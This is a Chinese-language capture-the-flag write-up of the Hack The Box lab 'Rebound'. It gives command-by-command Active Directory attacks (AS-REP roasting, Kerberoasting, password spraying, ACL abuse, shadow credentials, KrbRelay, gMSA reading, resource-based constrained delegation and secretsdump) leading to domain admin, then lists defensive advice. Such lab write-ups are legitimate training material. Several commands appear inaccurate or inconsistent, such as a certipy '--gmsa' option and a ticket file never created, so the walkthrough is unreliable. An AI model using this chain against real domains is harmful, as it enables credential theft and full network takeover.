HTB 靶机渗透总结之 Rebound
字数 1695 2025-08-27 12:33:22

Rebound靶机渗透实战教学文档

一、靶机概述

  • 名称: Rebound (Insane)
  • 作者: Geiseric
  • 发布日期: 2023/09/09
  • 难度: 疯狂(Insane)
  • 环境: Windows域控环境
  • 特点:
    • 结合密码喷洒攻击
    • 影子凭据技术
    • 高级委派攻击(RBCD)
    • 启用了LDAP签名要求和通道绑定等加固手段

二、信息收集

2.1 端口扫描结果

TCP开放端口:

  • 53 (DNS服务)
  • 88 (Windows Kerberos服务)
  • 139 (NetBIOS SMB服务)
  • 445 (SMB服务)
  • 389 (LDAP)
  • 636 (LDAPS)
  • 3268/3269 (LDAP全局目录)
  • 5985 (WinRM)

UDP开放端口:

  • 123 (NTP)
  • 137/138 (NetBIOS)

2.2 域名解析

将扫描发现的域名添加到hosts文件:

10.129.129.114 rebound.htb DC01.rebound.htb

2.3 时间同步

Kerberos认证对时间敏感(容忍±5分钟),建议使用NTP同步:

ntpdate -u 10.129.129.114

三、初始攻击路径

3.1 SMB枚举

  1. 检查匿名访问:
smbclient -L //10.129.129.114 -N

发现不支持纯匿名访问,但可传入任意用户名访问

  1. 可读共享:
  • IPC$
  • Shared (空文件夹)
  1. RID枚举:
ridenum.py 10.129.129.114 40000 users

获取到一批用户名,保存为users文件

3.2 AS-REP Roasting攻击

查找不需要预身份验证的用户:

GetNPUsers.py rebound.htb/ -no-pass -usersfile users -format hashcat -dc-ip 10.129.129.114

发现用户jjones返回了KRB5 ASREP哈希

尝试破解(未成功):

hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --potfile-disable -O -w 3

3.3 新型Kerberos Roasting攻击

参考Semperis文章中的新技术:

GetUserSPNs.py -no-pac -dc-ip 10.129.129.114 -usersfile users rebound.htb/

成功获取:

  • krbgt (AES128-HMAC-SHA1)
  • ldap_monitor (RC4-HMAC)

破解ldap_monitor的TGS哈希:

hashcat -m 13100 hash.txt rockyou.txt

成功获取密码

四、权限提升路径

4.1 密码喷洒攻击

使用ldap_monitor的密码对用户列表进行喷洒:

crackmapexec smb 10.129.129.114 -u users -p 'Password123'

发现用户oorend使用相同密码

4.2 LDAP枚举

  1. 使用PowerView枚举:
Get-DomainUser -Identity oorend | select *
Get-DomainObjectAcl -Identity "OU=Service Users" | ? {$_.SecurityIdentifier -match "S-1-5-21-*"}
  1. 发现攻击链:
  • oorend → AddSelf到ServiceMgnt组
  • ServiceMgnt组 → 完全控制OU=Service Users
  • OU=Service Users → 包含winrm_svc用户
  1. 执行操作:
Add-DomainGroupMember -Identity ServiceMgnt -Members oorend
Add-DomainObjectAcl -TargetIdentity "OU=Service Users" -PrincipalIdentity oorend -Rights All

4.3 获取winrm_svc访问权限

方法1: 修改密码

Set-DomainUserPassword -Identity winrm_svc -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)

方法2: 影子凭据技术(更隐蔽)

certipy shadow auto -u oorend@rebound.htb -p 'Password123' -account winrm_svc -target dc01.rebound.htb -dc-ip 10.129.129.114

获取NT哈希后通过WinRM登录

五、域管理员提权

5.1 信息枚举

  1. 发现活跃用户tbrady:
Get-NetSession -ComputerName dc01.rebound.htb
  1. 枚举gMSA账号:
Get-ADServiceAccount -Filter * | select Name

发现delegator$账号

  1. 检查ACL:
Get-DomainObjectAcl -Identity delegator$ | ? {$_.SecurityIdentifier -eq "S-1-1-0"}

发现Everyone组可读取delegator$的msDS-ManagedPassword属性

5.2 NTLM中继攻击

使用KrbRelay捕获tbrady的NTLM哈希:

KrbRelay.exe -clsid {90F18417-F0F1-484E-9D3C-59DCEEE5DBD8} -session 1

破解获取tbrady密码

5.3 获取delegator$凭据

使用tbrady票据获取gMSA密码:

certipy auth -u tbrady@rebound.htb -p 'Password123' -dc-ip 10.129.129.114 --gmsa delegator$

5.4 基于资源的约束委派攻击

  1. 获取delegator$的TGT:
getTGT.py rebound.htb/delegator$ -hashes :<nt_hash>
export KRB5CCNAME=/path/to/delegator$.ccache
  1. 执行RBCD攻击:
rbcd.py -delegate-to dc01$ -delegate-from ldap_monitor -dc-ip 10.129.129.114 -action write rebound.htb/delegator$
  1. 获取DC01机器账号票据:
getST.py -spn http/dc01.rebound.htb -impersonate dc01$ -dc-ip 10.129.129.114 rebound.htb/ldap_monitor -additional-ticket /path/to/st1.ccache
export KRB5CCNAME=/path/to/dc01$.ccache
  1. Dump域管理员哈希:
secretsdump.py -k -no-pass dc01.rebound.htb
  1. 通过WinRM获取域控:
evil-winrm -i dc01.rebound.htb -u Administrator -H <ntlm_hash>

六、关键技术总结

  1. Kerberos攻击技术:

    • AS-REP Roasting
    • Kerberos Roasting
    • 新型Kerberos攻击(无需预认证用户请求服务票据)
  2. 权限提升技术:

    • ACL滥用(AddSelf权限)
    • 影子凭据技术
    • 基于资源的约束委派(RBCD)
  3. 信息收集工具:

    • PowerView
    • BloodHound
    • NetExec
  4. 攻击工具链:

    • Impacket套件
    • Certipy
    • KrbRelay
    • RunasCs

七、防御建议

  1. 加固Kerberos:

    • 禁用RC4加密
    • 限制不需要预认证的账户
    • 监控异常票据请求
  2. 权限管理:

    • 定期审计ACL
    • 限制Self权限
    • 严格控制gMSA账号权限
  3. 监控措施:

    • 监控异常LDAP查询
    • 检测NTLM中继尝试
    • 记录敏感操作(如密码重置)
  4. 架构设计:

    • 启用LDAP签名和通道绑定
    • 限制委派配置
    • 分离管理账户和普通账户
Rebound靶机渗透实战教学文档 一、靶机概述 名称 : Rebound (Insane) 作者 : Geiseric 发布日期 : 2023/09/09 难度 : 疯狂(Insane) 环境 : Windows域控环境 特点 : 结合密码喷洒攻击 影子凭据技术 高级委派攻击(RBCD) 启用了LDAP签名要求和通道绑定等加固手段 二、信息收集 2.1 端口扫描结果 TCP开放端口 : 53 (DNS服务) 88 (Windows Kerberos服务) 139 (NetBIOS SMB服务) 445 (SMB服务) 389 (LDAP) 636 (LDAPS) 3268/3269 (LDAP全局目录) 5985 (WinRM) UDP开放端口 : 123 (NTP) 137/138 (NetBIOS) 2.2 域名解析 将扫描发现的域名添加到hosts文件: 2.3 时间同步 Kerberos认证对时间敏感(容忍±5分钟),建议使用NTP同步: 三、初始攻击路径 3.1 SMB枚举 检查匿名访问 : 发现不支持纯匿名访问,但可传入任意用户名访问 可读共享 : IPC$ Shared (空文件夹) RID枚举 : 获取到一批用户名,保存为users文件 3.2 AS-REP Roasting攻击 查找不需要预身份验证的用户: 发现用户jjones返回了KRB5 ASREP哈希 尝试破解(未成功): 3.3 新型Kerberos Roasting攻击 参考Semperis文章中的新技术: 成功获取: krbgt (AES128-HMAC-SHA1) ldap_ monitor (RC4-HMAC) 破解ldap_ monitor的TGS哈希: 成功获取密码 四、权限提升路径 4.1 密码喷洒攻击 使用ldap_ monitor的密码对用户列表进行喷洒: 发现用户oorend使用相同密码 4.2 LDAP枚举 使用PowerView枚举 : 发现攻击链 : oorend → AddSelf到ServiceMgnt组 ServiceMgnt组 → 完全控制OU=Service Users OU=Service Users → 包含winrm_ svc用户 执行操作 : 4.3 获取winrm_ svc访问权限 方法1: 修改密码 方法2: 影子凭据技术(更隐蔽) 获取NT哈希后通过WinRM登录 五、域管理员提权 5.1 信息枚举 发现活跃用户tbrady : 枚举gMSA账号 : 发现delegator$账号 检查ACL : 发现Everyone组可读取delegator$的msDS-ManagedPassword属性 5.2 NTLM中继攻击 使用KrbRelay捕获tbrady的NTLM哈希: 破解获取tbrady密码 5.3 获取delegator$凭据 使用tbrady票据获取gMSA密码: 5.4 基于资源的约束委派攻击 获取delegator$的TGT : 执行RBCD攻击 : 获取DC01机器账号票据 : Dump域管理员哈希 : 通过WinRM获取域控 : 六、关键技术总结 Kerberos攻击技术 : AS-REP Roasting Kerberos Roasting 新型Kerberos攻击(无需预认证用户请求服务票据) 权限提升技术 : ACL滥用(AddSelf权限) 影子凭据技术 基于资源的约束委派(RBCD) 信息收集工具 : PowerView BloodHound NetExec 攻击工具链 : Impacket套件 Certipy KrbRelay RunasCs 七、防御建议 加固Kerberos : 禁用RC4加密 限制不需要预认证的账户 监控异常票据请求 权限管理 : 定期审计ACL 限制Self权限 严格控制gMSA账号权限 监控措施 : 监控异常LDAP查询 检测NTLM中继尝试 记录敏感操作(如密码重置) 架构设计 : 启用LDAP签名和通道绑定 限制委派配置 分离管理账户和普通账户